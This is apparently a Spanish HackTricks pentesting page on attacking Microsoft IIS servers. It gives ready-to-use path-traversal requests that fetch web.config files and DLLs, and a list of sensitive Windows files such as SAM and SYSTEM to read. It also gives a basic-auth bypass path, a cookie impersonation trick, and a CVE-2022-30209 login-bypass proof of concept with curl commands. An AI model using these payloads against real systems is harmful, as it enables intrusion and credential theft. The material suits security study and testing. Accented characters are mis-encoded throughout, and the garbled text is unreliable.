# IIS - Internet Information Services
Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)! * Obt茅n la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
Probar extensiones de archivos ejecutables: * asp * aspx * config * php ## Divulgaci贸n de la Direcci贸n IP Interna En cualquier servidor IIS donde obtengas un 302, puedes intentar eliminar el encabezado Host y usar HTTP/1.0, y dentro de la respuesta, el encabezado Location podr铆a apuntarte a la direcci贸n IP interna: ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 ``` Respuesta revelando la IP interna: ``` GET / HTTP/1.0 HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache Pragma: no-cache Location: https://192.168.5.237/owa/ Server: Microsoft-IIS/10.0 X-FEServer: NHEXCHANGE2016 ``` ## Ejecutar archivos .config Puedes cargar archivos .config y usarlos para ejecutar c贸digo. Una forma de hacerlo es agregando el c贸digo al final del archivo dentro de un comentario HTML: [Descarga el ejemplo aqu铆](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) M谩s informaci贸n y t茅cnicas para explotar esta vulnerabilidad [aqu铆](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) ## Fuerza bruta de descubrimiento de IIS Descarga la lista que he creado: {% file src="../../.gitbook/assets/iisfinal.txt" %} Fue creada fusionando los contenidos de las siguientes listas: [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\ [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\ [https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\ [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\ [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) 脷salo sin agregar ninguna extensi贸n, los archivos que la necesitan ya la tienen. ## Traves铆a de ruta ### Filtraci贸n de c贸digo fuente Consulta el informe completo en: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) {% hint style="info" %} En resumen, hay varios archivos web.config dentro de las carpetas de la aplicaci贸n con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta informaci贸n es posible saber **d贸nde se encuentran los ejecutables** y descargarlos.\ A partir de los **Dlls descargados** tambi茅n es posible encontrar **nuevos namespaces** a los que se debe intentar acceder y obtener el archivo web.config para encontrar nuevos namespaces y assemblyIdentity.\ Adem谩s, los archivos **connectionstrings.config** y **global.asax** pueden contener informaci贸n interesante.\\ {% endhint %} En las aplicaciones de **.Net MVC**, el archivo **web.config** juega un papel crucial al especificar cada archivo binario en el que se basa la aplicaci贸n a trav茅s de etiquetas XML de **"assemblyIdentity"**. ### **Explorando archivos binarios** A continuaci贸n se muestra un ejemplo de acceso al archivo **web.config**: ```markup GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` Este requerimiento revela varios ajustes y dependencias, tales como: * Versi贸n de **EntityFramework** * **AppSettings** para p谩ginas web, validaci贸n de cliente y JavaScript * Configuraciones de **System.web** para autenticaci贸n y tiempo de ejecuci贸n * Ajustes de m贸dulos de **System.webServer** * Enlaces de ensamblado de tiempo de ejecuci贸n para numerosas bibliotecas como **Microsoft.Owin**, **Newtonsoft.Json** y **System.Web.Mvc** Estos ajustes indican que ciertos archivos, como **/bin/WebGrease.dll**, se encuentran dentro de la carpeta /bin de la aplicaci贸n. ### **Archivos del Directorio Ra铆z** Los archivos encontrados en el directorio ra铆z, como **/global.asax** y **/connectionstrings.config** (que contiene contrase帽as sensibles), son esenciales para la configuraci贸n y operaci贸n de la aplicaci贸n. ### **Espacios de nombres y Web.Config** Las aplicaciones MVC tambi茅n definen archivos **web.config** adicionales para espacios de nombres espec铆ficos para evitar declaraciones repetitivas en cada archivo, como se demuestra con un requerimiento para descargar otro **web.config**: ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` ### **Descarga de DLLs** La menci贸n de un espacio de nombres personalizado sugiere la presencia de una DLL llamada "**WebApplication1**" en el directorio /bin. A continuaci贸n, se muestra una solicitud para descargar el archivo **WebApplication1.dll**: ```markup GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` Esto sugiere la presencia de otras DLL esenciales, como **System.Web.Mvc.dll** y **System.Web.Optimization.dll**, en el directorio /bin. En un escenario donde una DLL importa un espacio de nombres llamado **WebApplication1.Areas.Minded**, un atacante podr铆a inferir la existencia de otros archivos web.config en rutas predecibles, como **/nombre-de-area/Views/**, que contienen configuraciones espec铆ficas y referencias a otras DLL en la carpeta /bin. Por ejemplo, una solicitud a **/Minded/Views/web.config** puede revelar configuraciones y espacios de nombres que indican la presencia de otra DLL, **WebApplication1.AdditionalFeatures.dll**. ### Archivos comunes Desde [aqu铆](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) ``` C:\Apache\conf\httpd.conf C:\Apache\logs\access.log C:\Apache\logs\error.log C:\Apache2\conf\httpd.conf C:\Apache2\logs\access.log C:\Apache2\logs\error.log C:\Apache22\conf\httpd.conf C:\Apache22\logs\access.log C:\Apache22\logs\error.log C:\Apache24\conf\httpd.conf C:\Apache24\logs\access.log C:\Apache24\logs\error.log C:\Documents and Settings\Administrator\NTUser.dat C:\php\php.ini C:\php4\php.ini C:\php5\php.ini C:\php7\php.ini C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache\logs\access.log C:\Program Files (x86)\Apache Group\Apache\logs\error.log C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache2\logs\access.log C:\Program Files (x86)\Apache Group\Apache2\logs\error.log c:\Program Files (x86)\php\php.ini" C:\Program Files\Apache Group\Apache\conf\httpd.conf C:\Program Files\Apache Group\Apache\conf\logs\access.log C:\Program Files\Apache Group\Apache\conf\logs\error.log C:\Program Files\Apache Group\Apache2\conf\httpd.conf C:\Program Files\Apache Group\Apache2\conf\logs\access.log C:\Program Files\Apache Group\Apache2\conf\logs\error.log C:\Program Files\FileZilla Server\FileZilla Server.xml C:\Program Files\MySQL\my.cnf C:\Program Files\MySQL\my.ini C:\Program Files\MySQL\MySQL Server 5.0\my.cnf C:\Program Files\MySQL\MySQL Server 5.0\my.ini C:\Program Files\MySQL\MySQL Server 5.1\my.cnf C:\Program Files\MySQL\MySQL Server 5.1\my.ini C:\Program Files\MySQL\MySQL Server 5.5\my.cnf C:\Program Files\MySQL\MySQL Server 5.5\my.ini C:\Program Files\MySQL\MySQL Server 5.6\my.cnf C:\Program Files\MySQL\MySQL Server 5.6\my.ini C:\Program Files\MySQL\MySQL Server 5.7\my.cnf C:\Program Files\MySQL\MySQL Server 5.7\my.ini C:\Program Files\php\php.ini C:\Users\Administrator\NTUser.dat C:\Windows\debug\NetSetup.LOG C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml C:\Windows\php.ini C:\Windows\repair\SAM C:\Windows\repair\system C:\Windows\System32\config\AppEvent.evt C:\Windows\System32\config\RegBack\SAM C:\Windows\System32\config\RegBack\system C:\Windows\System32\config\SAM C:\Windows\System32\config\SecEvent.evt C:\Windows\System32\config\SysEvent.evt C:\Windows\System32\config\SYSTEM C:\Windows\System32\drivers\etc\hosts C:\Windows\System32\winevt\Logs\Application.evtx C:\Windows\System32\winevt\Logs\Security.evtx C:\Windows\System32\winevt\Logs\System.evtx C:\Windows\win.ini C:\xampp\apache\conf\extra\httpd-xampp.conf C:\xampp\apache\conf\httpd.conf C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log C:\xampp\FileZillaFTP\FileZilla Server.xml C:\xampp\MercuryMail\MERCURY.INI C:\xampp\mysql\bin\my.ini C:\xampp\php\php.ini C:\xampp\security\webdav.htpasswd C:\xampp\sendmail\sendmail.ini C:\xampp\tomcat\conf\server.xml ``` ## Error 404 de HTTPAPI 2.0 Si ves un error como el siguiente: ![](https://github.com/carlospolop/hacktricks/blob/es/.gitbook/assets/image%20\(446\)%20\(1\)%20\(2\)%20\(2\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(13\).png) Significa que el servidor **no recibi贸 el nombre de dominio correcto** dentro del encabezado Host.\ Para acceder a la p谩gina web, podr铆as revisar el **Certificado SSL** servido y tal vez encuentres el nombre de dominio/subdominio all铆. Si no est谩, es posible que necesites **forzar VHosts** hasta encontrar el correcto. ## Antiguas vulnerabilidades de IIS que vale la pena buscar ### Vulnerabilidad/Caracter铆stica de Microsoft IIS del car谩cter de tilde "\~" - Divulgaci贸n de Nombre Corto de Archivo/Carpeta Puedes intentar **enumerar carpetas y archivos** dentro de cada carpeta descubierta (incluso si requiere Autenticaci贸n B谩sica) utilizando esta **t茅cnica**.\ La principal limitaci贸n de esta t茅cnica si el servidor es vulnerable es que **solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensi贸n** de los archivos. Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../.gitbook/assets/image (183).png>) Investigaci贸n original: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf) Tambi茅n puedes usar **metasploit**: `use scanner/http/iis_shortname_scanner` ### Bypass de Autenticaci贸n B谩sica **Burla** una autenticaci贸n b谩sica (**IIS 7.5**) intentando acceder a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php` Puedes intentar **combinar** esta **vulnerabilidad** y la anterior para encontrar nuevas **carpetas** y **burlar** la autenticaci贸n. ## Depuraci贸n habilitada de Trace.AXD de ASP.NET ASP.NET incluye un modo de depuraci贸n y su archivo se llama `trace.axd`. Mantiene un registro muy detallado de todas las solicitudes realizadas a una aplicaci贸n durante un per铆odo de tiempo. Esta informaci贸n incluye IP's de clientes remotos, IDs de sesi贸n, todas las cookies de solicitud y respuesta, rutas f铆sicas, informaci贸n de c贸digo fuente y potencialmente incluso nombres de usuario y contrase帽as. [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) ![Captura de pantalla 2021-03-30 a las 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png) ## Cookie ASPXAUTH ASPXAUTH utiliza la siguiente informaci贸n: * **`validationKey`** (cadena): clave codificada en hexadecimal para usar en la validaci贸n de firma. * **`decryptionMethod`** (cadena): (por defecto "AES"). * **`decryptionIV`** (cadena): vector de inicializaci贸n codificado en hexadecimal (por defecto un vector de ceros). * **`decryptionKey`** (cadena): clave codificada en hexadecimal para usar en el descifrado. Sin embargo, algunas personas usar谩n los **valores predeterminados** de estos par谩metros y usar谩n como **cookie el correo electr贸nico del usuario**. Por lo tanto, si puedes encontrar un sitio web que use la **misma plataforma** que est茅 utilizando la cookie ASPXAUTH y **creas un usuario con el correo electr贸nico del usuario que deseas suplantar** en el servidor bajo ataque, podr铆as **usar la cookie del segundo servidor en el primero** y suplantar al usuario.\ Este ataque funcion贸 en este [**informe**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). ## Bypass de Autenticaci贸n de IIS con contrase帽as en cach茅 (CVE-2022-30209) [Informe completo aqu铆](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Un error en el c贸digo **no verificaba correctamente la contrase帽a proporcionada por el usuario**, por lo que un atacante cuyo **hash de contrase帽a coincide con una clave** que ya est谩 en la **cach茅** podr谩 iniciar sesi贸n como ese usuario. ```python # script for sanity check > type test.py def HashString(password): j = 0 for c in map(ord, password): j = c + (101*j)&0xffffffff return j assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT') # before the successful login > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 401 Unauthorized # after the successful login > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 200 OK ```
Aprende hacking en AWS de cero a h茅roe con htARTE (Experto en Red Team de AWS de HackTricks)! Otras formas de apoyar a HackTricks: * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)! * Obt茅n el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.